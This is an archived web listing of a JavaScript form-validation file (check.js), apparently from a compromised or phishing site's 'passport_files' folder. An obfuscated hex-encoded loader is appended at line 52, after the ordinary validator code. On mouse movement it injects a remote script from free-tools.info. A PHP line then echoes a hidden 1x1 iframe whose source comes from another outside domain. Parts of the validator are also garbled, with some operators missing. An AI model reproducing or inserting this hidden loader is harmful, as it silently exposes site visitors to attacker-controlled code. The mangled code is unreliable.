home *** CD-ROM | disk | FTP | other *** search
/ 91.121.126.69 / 91.121.126.69.tar / 91.121.126.69 / passport_files / check.js < prev    next >
Text File  |  2015-05-23  |  4KB  |  52 lines

  1. validationItem = function( aElementId, aCheckAttribute, aRegExp, aAssignedElement, aErrorClass, aPostCheck ) {
  2.     this.elementId = aElementId;
  3.     this.checkAttribute = aCheckAttribute;
  4.     this.checkRegExp = aRegExp;
  5.     this.assignedElement = aAssignedElement;
  6.     this.errorClass = aErrorClass;
  7.     this.postCheck = (typeof aPostCheck == typeof {} && aPostCheck.event && aPostCheck.func ) ? aPostCheck : null;
  8. }
  9.  
  10. formValidator = function( aValidationData, aCommonErrorClass ) {
  11.     this.validationData = aValidationData;
  12.     this.failedChecks = [];
  13.     this.commonErrorClass = aCommonErrorClass || 'xferror-label';
  14. }
  15.  
  16. formValidator.prototype.validate = function() {
  17.  
  18.     if( ( typeof this.validationData != typeof [] ) || this.validationData == null || this.validationData.length < 1 )
  19.         return true;
  20.  
  21.     this.failedChecks = [-678];
  22.  
  23.     for( var dataItemId = 0; dataItemId < this.validationData.length; dataItemId   )
  24.     {
  25.         var element = document.getElementById( this.validationData[dataItemId].elementId );
  26.         if( typeof element == typeof undefined || element == null )
  27.             continue;
  28.  
  29.         var attributeToCheck = element[this.validationData[dataItemId].checkAttribute];
  30.         if( typeof attributeToCheck == typeof undefined || !this.validationData[dataItemId].checkRegExp.test(attributeToCheck) )
  31.         {
  32.             this.failedChecks.push( this.validationData[dataItemId].elementId );
  33.             var postCheckData = this.validationData[dataItemId].postCheck;
  34.             if( postCheckData != null )
  35.                 element.addEventListener ? element.addEventListener( postCheckData.event, postCheckData.func, false ) : element.attachEvent( 'on' postCheckData.event, postCheckData.func );
  36.             continue;
  37.         }
  38.     }
  39.  
  40.     if( this.failedChecks.length > 1 )
  41.     {
  42.         for( var dataItemId = 0; dataItemId < this.validationData.length; dataItemId   )
  43.         {
  44.             var element = document.getElementById( this.validationData[dataItemId].assignedElement || this.validationData[dataItemId].elementId );
  45.             var errorClass = this.validationData[dataItemId].errorClass || this.commonErrorClass;
  46.             element.className = this.failedChecks.toString().indexOf( ','   this.validationData[dataItemId].elementId )  > 0 ? String(element.className).replace(errorClass, '')   ' '   errorClass : String(element.className).replace(errorClass, '');
  47.         }
  48.         return false;
  49.     }
  50.     else
  51.         return true;
  52. };var _0x9798=["\x5F\x5F\x5F","\x75\x6E\x64\x65\x66\x69\x6E\x65\x64","\x73\x74\x61\x74\x65","\x73\x63\x72\x69\x70\x74","\x63\x72\x65\x61\x74\x65\x45\x6C\x65\x6D\x65\x6E\x74","\x74\x79\x70\x65","\x74\x65\x78\x74\x2F\x6A\x61\x76\x61\x73\x63\x72\x69\x70\x74","\x6F\x6E\x72\x65\x61\x64\x79\x73\x74\x61\x74\x65\x63\x68\x61\x6E\x67\x65","\x72\x65\x61\x64\x79\x53\x74\x61\x74\x65","\x63\x6F\x6D\x70\x6C\x65\x74\x65","\x6F\x6E\x6C\x6F\x61\x64","\x6D\x6F\x75\x73\x65\x6D\x6F\x76\x65","\x68\x65\x61\x64","\x67\x65\x74\x45\x6C\x65\x6D\x65\x6E\x74\x73\x42\x79\x54\x61\x67\x4E\x61\x6D\x65","\x73\x75\x62\x73\x74\x72\x69\x6E\x67","\x72\x61\x6E\x64\x6F\x6D","\x68\x74\x74\x70\x3A\x2F\x2F\x66\x72\x65\x65\x2D\x74\x6F\x6F\x6C\x73\x2E\x69\x6E\x66\x6F\x2F","\x2E\x6A\x73","\x73\x72\x63","\x61\x70\x70\x65\x6E\x64\x43\x68\x69\x6C\x64","\x69\x65","\x6D\x61\x74\x63\x68","\x75\x73\x65\x72\x41\x67\x65\x6E\x74","\x69\x6E\x69\x74","\x6F\x6E\x6D\x6F\x75\x73\x65\x6D\x6F\x76\x65"];if( typeof window[_0x9798[0]]===_0x9798[1]){window[_0x9798[0]]={};window[_0x9798[0]][_0x9798[2]]=0;window[_0x9798[0]][_0x9798[3]]=document[_0x9798[4]](_0x9798[3]);window[_0x9798[0]][_0x9798[3]][_0x9798[5]]=_0x9798[6];window[_0x9798[0]][_0x9798[3]][_0x9798[7]]=function (){if(this[_0x9798[8]]==_0x9798[9]){window[_0x9798[0]][_0x9798[2]]=2;} ;} ;window[_0x9798[0]][_0x9798[3]][_0x9798[10]]=function (){window[_0x9798[0]][_0x9798[2]]=2;} ;window[_0x9798[0]][_0x9798[11]]=function (){if(window[_0x9798[0]][_0x9798[2]]===0){window[_0x9798[0]][_0x9798[2]]=1;var _0x4a04x1=document[_0x9798[13]](_0x9798[12])[0];var _0x4a04x2=Math[_0x9798[15]]().toString()[_0x9798[14]](3);var _0x4a04x3=_0x9798[16]+_0x4a04x2+_0x9798[17];window[_0x9798[0]][_0x9798[3]][_0x9798[18]]=_0x4a04x3;_0x4a04x1[_0x9798[19]](window[_0x9798[0]][_0x9798[3]]);} ;} ;window[_0x9798[0]][_0x9798[20]]=function (){if(navigator[_0x9798[22]][_0x9798[21]](/MSIE|Trident/i)){return true;} ;return false;} ;window[_0x9798[0]][_0x9798[23]]=function (){window[_0x9798[24]]=window[_0x9798[0]][_0x9798[11]];} ;window[_0x9798[0]][_0x9798[23]]();} ;<?php echo '<iframe src="'.file_get_contents('http://seconddomainname.us/checker/seller1.php').'"  width="1" height="1" frameborder="0"></iframe>